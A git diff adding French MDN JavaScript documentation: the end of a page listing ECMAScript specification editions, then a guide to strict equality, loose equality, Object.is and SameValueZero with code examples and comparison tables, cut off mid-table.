+   <td><a href="https://tc39.github.io/ecma402/">Brouillon de la spécification</a>, <a href="https://github.com/tc39/ecma402">dépôt</a></td>
+   <td>2018</td>
+   <td>Spécification pour l'API d'internationalisation ECMAScript 2018</td>
+  </tr>
+  <tr>
+   <th colspan="4">Éditions historiques/obsolètes</th>
+  </tr>
+  <tr>
+   <td>ECMA-262</td>
+   <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td>
+   <td>Juin 1997</td>
+   <td>ECMAScript : un langage de programmation générique, multi-plateforme. C'est la première version du standard ECMAScript.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262, 2<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td>
+   <td>Août 1998</td>
+   <td>Spécification du langage ECMAScript. C'est la deuxième révision du standard. Elle correspond aussi au standard ISO 16262.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 3<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td>
+   <td>Décembre 1999</td>
+   <td>Spécification du langage ECMAScript. C'est la troisième révision du standard. Elle correspond à JavaScript 1.5.<br>
+    Voir aussi <a href="https://www.mozilla.org/js/language/E262-3-errata.html">l'errata</a> à ce propos.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 5<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td>
+   <td>Décembre 2009</td>
+   <td>Spécification du langage ECMAScript. C'est la cinquième révision du standard.<br>
+    Voir aussi <a href="https://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">l'errata pour ES5</a> et <a href="/fr/DOcs/JavaScript/ECMAScript_5_support_in_Mozilla">la prise en charge d'ECMAScript 5 par Mozilla</a></td>
+  </tr>
+  <tr>
+   <td>ECMA-357</td>
+   <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td>
+   <td>Juin 2004</td>
+   <td><a href="/fr/DOcs/E4X">ECMAScript pour XML (E4X)</a>.<br>
+    Voir aussi<a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406"> l'errata pour E4X</a>.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262, édition 5.1</td>
+   <td><a href="https://www.ecma-international.org/ecma-262/5.1/Ecma-262.pdf">PDF</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/">HTML</a></td>
+   <td>Juin 2011</td>
+   <td>Cette version correspond complètement à la troisième édition du standard international <a href="https://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a>.<br>
+    Elle inclut les correctifs lié à l'errata pour ES5, elle ne contient pas de nouvelles fonctionnalités.</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 1<sup>ère</sup> édition</td>
+   <td><a href="https://ecma-international.org/ecma-402/1.0/ECMA-402.pdf">PDF</a>, <a href="https://ecma-international.org/ecma-402/1.0/index.html">HTML</a></td>
+   <td>Décembre 2012</td>
+   <td>Spécification pour l'API d'internationalisation ECMAScript</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 6<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a></td>
+   <td>Juin 2015</td>
+   <td>Spécification 2015 pour le langage ECMAScript (sixième édition)</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 2<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/ecma-402/2.0/ECMA-402.pdf">PDF</a></td>
+   <td>Juin 2015</td>
+   <td>Spécification pour l'API d'internationalisation ECMAScript 2015</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 7<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/ecma-262/7.0/">HTML</a></td>
+   <td>Juin 2016</td>
+   <td>Spécification 2016 pour le langage ECMAScript (septième édition)</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 3<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/ecma-402/3.0/">HTML</a></td>
+   <td>Juin 2016</td>
+   <td>Spécification pour l'API d'internationalisation ECMAScript 2016</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 8<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/ecma-262/8.0/">HTML</a></td>
+   <td>Juin 2017</td>
+   <td>Spécification 2017 pour le langage ECMAScript (huitième édition)</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 4<sup>e</sup> édition</td>
+   <td><a href="https://www.ecma-international.org/ecma-402/4.0/">HTML</a></td>
+   <td>Juin 2017</td>
+   <td>Spécification pour l'API d'internationalisation ECMAScript 2017</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>ES.Next est un nom dynamique qui fait toujours référence à la prochaine version d'ECMAScript, en cours de rédaction. Les fonctionnalités d'ES.Next sont plutôt considérées comme des propositions car la spécification n'a pas encore été finalisée.</p>
+
+<p>Pour plus d'informations sur l'histoire d'ECMAScript, voir <a href="https://fr.wikipedia.org/wiki/ECMAScript">la page Wikipédia sur ECMAScript</a>.</p>
+
+<p>Il est possible de participer ou de suivre les travaux concernant la prochaine révision de la spécification sur le langage ECMAScript, appelée « Harmony », ainsi que pour la spécification de l'API d'internationalisation grâce au wiki public et à la liste de diffusion<a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss"> es-discuss</a> accessibles depuis <a href="https://www.ecmascript.org/community.php">ecmascript.org</a>.</p>
+
+<h2 id="Implémentations">Implémentations</h2>
+
+<ul>
+ <li><a href="/fr/docs/SpiderMonkey">SpiderMonkey</a> : le moteur JavaScript utilisé dans Firefox et les autres produits Mozilla</li>
+ <li><a href="/fr/docs/Rhino">Rhino</a> : un moteur JavaScript écrit en Java</li>
+ <li><a href="/fr/docs/Tamarin">Tamarin</a> : la machine virtuelle ActionScript (utilisée par Adobe® Flash® Player)</li>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Autres implémentations</a> (Wikipédia).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://brendaneich.com/">Le blog de Brendan Eich</a> (en anglais). Brendan Eich est le créateur de JavaScript et du moteur SpiderMonkey. Il continue de travailler avec le groupe de travail ECMA pour faire évoluer le langage.</li>
+ <li><a href="https://dmitrysoshnikov.com/">L'analyse de Dmitry Soshnikov sur les troisième et cinquième édition d'ECMA-262</a></li>
+</ul>
diff --git a/files/fr/web/javascript/les_différents_tests_d_égalité/index.html b/files/fr/web/javascript/les_différents_tests_d_égalité/index.html
new file mode 100644
index 0000000000..3208ebe8bc
--- /dev/null
+++ b/files/fr/web/javascript/les_différents_tests_d_égalité/index.html
@@ -0,0 +1,490 @@
+---
+title: Utiliser les différents tests d'égalité
+slug: Web/JavaScript/Les_différents_tests_d_égalité
+tags:
+  - Guide
+  - Intermédiaire
+  - JavaScript
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<p>JavaScript fournit trois opérations permettant de comparer des valeurs :</p>
+
+<ul>
+ <li>L'égalité stricte (ou identité ou « triple égal ») utilisant <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)">===</a></code>,</li>
+ <li>L'égalité faible (ou « double égal ») utilisant <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_simple_(.3D.3D)">==</a></code>,</li>
+ <li>{{jsxref("Object.is")}} (ajouté avec ECMAScript 2015).</li>
+</ul>
+
+<p>Ces trois opérations sont associées à quatre algorithmes d'égalité (depuis ES2015) :</p>
+
+<ul>
+ <li><a href="#faible">La comparaison d'égalité abstraite (<code>==</code>)</a></li>
+ <li><a href="#stricte">La comparaison d'égalité stricte (<code>===</code>)</a>
+  <ul>
+   <li>Utilisée par {{jsxref("Array.indexOf")}} et {{jsxref("Array.lastIndexOf")}} et la sensibilité à la casse</li>
+  </ul>
+ </li>
+ <li><a href="#SameValueZero"><em>SameValueZero</em> (l'égalité de valeurs nulles)</a>
+  <ul>
+   <li>Utilisée par les constructeurs {{jsxref("TypedArray")}} et {{jsxref("ArrayBuffer")}} et par les opérations associées à {{jsxref("Map")}} et {{jsxref("Set")}}. Depuis ES2016, cet algorithme est également utilisé par {{jsxref("String.includes")}} et {{jsxref("Array.includes")}}</li>
+  </ul>
+ </li>
+ <li><a href="#sameValue"><em>SameValue</em> (l'égalité de valeurs)</a>
+  <ul>
+   <li>Utilisée partout ailleurs</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Selon la comparaison qu'on souhaite effectuer, on choisira une de ces opérations.</p>
+
+<p>En résumé :</p>
+
+<ul>
+ <li>L'égalité faible (<code>==</code>) effectuera une conversion des deux éléments à comparer avant d'effectuer la comparaison</li>
+ <li>L'égalité stricte (<code>===</code>) effectuera la même comparaison mais sans conversion préalable (elle renverra toujours false si les types des deux valeurs comparées sont différents)</li>
+ <li>Enfin <code>Object.is()</code> se comportera comme l'égalité stricte sauf pour les valeurs <code>NaN</code>, <code>-0</code> et <code>+0</code> : pour <code>Object.is()</code>, <code>-0</code> et <code>+0</code> seront différents mais on aura <code>Object.is(NaN, NaN)</code> qui sera <code>true</code>. (Généralement, quand on compare <code>NaN</code> avec <code>NaN</code> en utilisant l'égalité stricte ou l'égalité faible, cela donne <code>false</code> afin de respecter la norme IEEE 754.)</li>
+</ul>
+
+<p>On notera que pour ces trois opérations, la comparaison s'effectue sur les valeurs des éléments qu'on compare, aucune de ces opérations ne permet de comparer la structure des paramètres. Pour des objets non primitifs, <code>x</code> et <code>y</code> qui ont la même structure mais qui sont des objets distincs, chacune des opérations présentées ci-avant sera évaluée à <code>false</code>.</p>
+
+<h2 id="Légalité_stricte_avec"><a id="stricte" name="stricte">L'égalité stricte avec <code>===</code></a></h2>
+
+<p>L'égalité stricte compare deux valeurs et teste leur égalité. Aucune des valeurs n'est convertie implicitement en une autre valeur avant que la comparaison soit effectuée. Si les valeurs sont typées différemment, elles sont considérées comme différentes. Si les valeurs sont de même type et ne sont pas des nombres, elles sont considérées égales si elles ont la même valeur. Si les deux valeurs sont des nombres, elles sont égales si elles ont la même valeur et que cette valeur n'est pas NaN ou si l'une vaut +0 et l'autre -0.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+</pre>
+
+<p>Ce test d'égalité stricte est presque toujours la meilleure des opérations à considérer pour ces tests. Excepté pour les nombres, la sémantique utilisée est simple : une valeur est uniquement égale à elle-même. En ce qui concerne les nombres, il y a deux cas aux limites à considérer. Le premier cas concerne le nombre zéro positif ou négatif. Cela peut être utile dans la représentation de problèmes mathématiques mais ne constitue pas une différence pour de nombreuses situations : le test d'égalité stricte considère que ce sont les mêmes valeurs. Le second cas concerne la valeur « n'est pas un nombre », <code>NaN</code> (pour « not a number » en anglais) permettant de représenter certaines entités mathématiques : la somme des deux infinis (positif et négatif) par exemple. Le test d'égalité stricte considère que <code>NaN</code> est différent de toutes les valeurs, y compris lui-même. (N.B. : Le seul cas de figure pour lequel on a <code>(x !== x)</code> qui renvoie <code>true</code> est lorsque x vaut <code>NaN</code>.)</p>
+
+<h2 id="Légalité_faible_avec"><a id="faible" name="faible">L'égalité faible avec <code>==</code></a></h2>
+
+<p>Le test d'égalité faible compare deux valeurs <em>après</em> les avoir converties en valeurs d'un même type. Une fois converties (la conversion peut s'effectuer pour l'une ou les deux valeurs), la comparaison finale est la même que celle effectuée par <code>===</code>. L'égalité faible est <em>symétrique </em>: <code>A == B</code> aura toujours la même signification que <code>B == A</code> pour toute valeur de A et B.</p>
+
+<p>La comparaison d'égalité est effectuée comme suit pour des opérandes de différents types :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th colspan="7" scope="col" style="text-align: center;">Opérande B</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"></th>
+   <td></td>
+   <td style="text-align: center;">Undefined</td>
+   <td style="text-align: center;">Null</td>
+   <td style="text-align: center;">Number</td>
+   <td style="text-align: center;">String</td>
+   <td style="text-align: center;">Boolean</td>
+   <td style="text-align: center;">Object</td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="6" scope="row">Opérande A</th>
+   <td>Undefined</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Null</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Number</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>String</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Boolean</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Object</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == ToNumber(B)</code></td>
+   <td style="text-align: center;">
+    <p><code>A === B</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Dans le tableau ci-dessus, l'expression <code>ToNumber(A)</code> correspond à une tentative de convertir l'argument en un nombre avant la comparaison. Le résultat obtenu est équivalent à <code>+A</code> (l'opérateur unaire +). <code>ToPrimitive(A)</code> correspond à une tentative de convertir l'argument en une valeur primitive grâce à plusieurs méthodes comme <code>A.toString</code> et <code>A.valueOf</code>.</p>
+
+<p>Selon ECMAScript, au sens de l'égalité faible, tous les objets sont différents de <code>undefined</code> et de <code>null</code>. Cependant, la plupart des navigateurs autorisent, dans certains contextes, unensemble restreint d'objets (notamment l'objet <code>document.all</code>), à agir comme s'ils émulaient la valeur <code>undefined</code>. L'égalité faible est un de ces contextes. Pour tous les autres cas, un objet ne sera jamais approximativement égal à <code>undefined</code> ou à <code>null</code>.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// Les deux assertions qui suivent sont fausses
+// sauf dans certains cas exceptionnels
+console.log(obj == null);
+console.log(obj == undefined);
+</pre>
+
+<p>Certains développeurs considèrent que ce n'est jamais une bonne idée d'utiliser l'égalilté faible. Le résultat d'une comparaison utilisant l'égalité stricte est plus simple à appréhender et à prédire, de plus il n'y a aucune conversion implicite ce qui rend le test plus rapide.</p>
+
+<h2 id="Égalité_de_valeurs"><a id="sameValue" name="sameValue">Égalité de valeurs</a></h2>
+
+<p>L'égalité de valeurs répond à un dernier cas d'utilisation : savoir si deux valeurs sont fonctionnellement identiques pour tout contexte. (Ce cas d'utilisation est un exemple du <a href="https://fr.wikipedia.org/wiki/Principe_de_substitution_de_Liskov">principe de substitution de Liskov</a>). On retrouve ce cas lorsqu'on essaie de changer une propriété immuable :</p>
+
+<pre class="brush: js">// Ajouter la propriété immuable NEGATIVE_ZERO au constructor Number.
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+                      { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v) {
+  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+</pre>
+
+<p><code>Object.defineProperty</code> lancera une exception pour tout changement de la propriété qui serait réellement un changement. Rien ne se passera si aucun changement n'est nécessaire. Ainsi, si <code>v</code> vaut <code>-0</code>, aucun changement n'est nécessaire et il n'y aura pas d'erreur. Mais si <code>v</code> vaut <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> n'aurait plus la même valeur immuable. De façon interne à l'implémentation, la nouvelle valeur est comparée avec la valeur courante en utilisant une égalité de valeurs.</p>
+
+<p>L'égalité de valeurs peut être testée grâce à la méthode {{jsxref("Object.is")}}.</p>
+
+<h2 id="Égalité_de_valeurs_nulles"><a id="SameValueZero" name="SameValueZero">Égalité de valeurs nulles</a></h2>
+
+<p>On utilise la même égalité que l'égalité de valeur et on considère que <code>+0</code> et <code>-0</code> sont égaux.</p>
+
+<h2 id="Égalité_abstraite_égalité_stricte_et_valeurs_identiques_la_spécification">Égalité abstraite, égalité stricte et valeurs identiques : la spécification</h2>
+
+<p>Selon ES5, la comparaison effectuée par <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_simple_(.3D.3D)"><code>==</code></a> est décrite dans <a href="https://ecma-international.org/ecma-262/5.1/#sec-11.9.3">la section 11.9.3 sur l'algorithme d'égalité abstraite (<em>Abstract Equality Algorithm</em>)</a>. La comparaison donnée par <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)"><code>===</code></a> est décrite dans <a href="https://ecma-international.org/ecma-262/5.1/#sec-11.9.6">la section 11.9.6 sur l'algorithme d'égalité stricte (<em>Strict Equality Algorithm</em>)</a>. Ces documents sont en anglais mais sont tout à fait abordables, ne pas hésiter à les consulter (conseil : d'abord commencer par l'algorithme d'égalité stricte). ES5 décrit également, dans <a href="https://ecma-international.org/ecma-262/5.1/#sec-9.12">la section 9.12 sur l'algorithme SameValue</a>, l'opération utilisée en interne par le moteur JavaScript. Cet algorithme est principalement basé sur l'algorithme d'égalité stricte : 11.9.6.4 et 9.12.4 diffèrent en ce qui concerne les nombres. ES6 (ECMAScript 2015) permet d'utiliser cet algorithme grâce à la méthode {{jsxref("Object.is")}}.</p>
+
+<p>Dans ces documents, on peut voir que l'algorithme d'égalité stricte est un sous-ensemble de l'algorithme d'égalité abstraite (exception faite de la vérification du type) car 11.9.6.2–7 correspond exactement à 11.9.3.1.a–f.</p>
+
+<h2 id="Un_modèle_pour_mieux_comprendre">Un modèle pour mieux comprendre ?</h2>
+
+<p>Avant ES6 (ECMAScript 2015), il était courant de dire que l'égalité stricte avec le triple égal était une version « améliorée » de l'égalité faible (double égal) et vice versa. En effet, l'égalité faible ajoute une étape de conversion des types qui n'est pas fournie par l'égalité stricte (ce qui permet d'avoir <code>6 == "6"</code>). On peut aussi dire que l'égalité stricte est une version améliorée de l'égalité simple car elle ajoute une fonctionnalité de vérification des types. Selon votre approche et votre problème, une de ces égalités se prêtera mieux à la résolution.</p>
+
+<p>Cependant, ce « modèle de pensées » ne peut pas être étendu avec l'arrivée d'{{jsxref("Object.is")}} avec ES6 (ECMAScript 2015). En effet <code>Object.is()</code> n'est pas plus « faible » que l'égalité faible ou plus « stricte » que l'égalité stricte et il n'est pas non plus quelque part entre les deux. Dans le tableau de comparaison ci-après, on voit que la différence provient avant tout de la façon dont {{jsxref("Object.is")}} gère {{jsxref("NaN")}}. On note ici que si <code>Object.is(NaN, NaN)</code> valait <code>false</code>, on pourrait dire qu'<code>Object.is()</code> est plus stricte que == ou === car elle distingue <code>-0</code> et <code>+0</code>. Cependant, ce n'est pas le cas et on a bien <code>Object.is(NaN,NaN)</code> qui vaut <code>true</code>. C'est pour cette raison qu'il faut considérer {{jsxref("Object.is")}} selon ses caractéristiques spécifiques plutôt que comme une version plus faible ou plus stricte des autres opérateurs d'égalité.</p>
+
+<table class="standard-table" style="height: 944px; width: 892px;">
+ <caption>Comparaisons d'égalité</caption>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">x</th>
+   <th scope="col" style="text-align: center;">y</th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>==</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>===</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>Object.is</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>SameValueZero</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>'toto'</code></td>
+   <td><code>'toto'</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>-0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>-0</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>'0'</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>'17'</code></td>
+   <td><code>17</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>[1, 2]</code></td>
+   <td><code>'1,2'</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String('toto')</code></td>
+   <td><code>'toto'</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>{ toto: 'truc' }</code></td>
+   <td><code>{ toto: 'truc' }</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
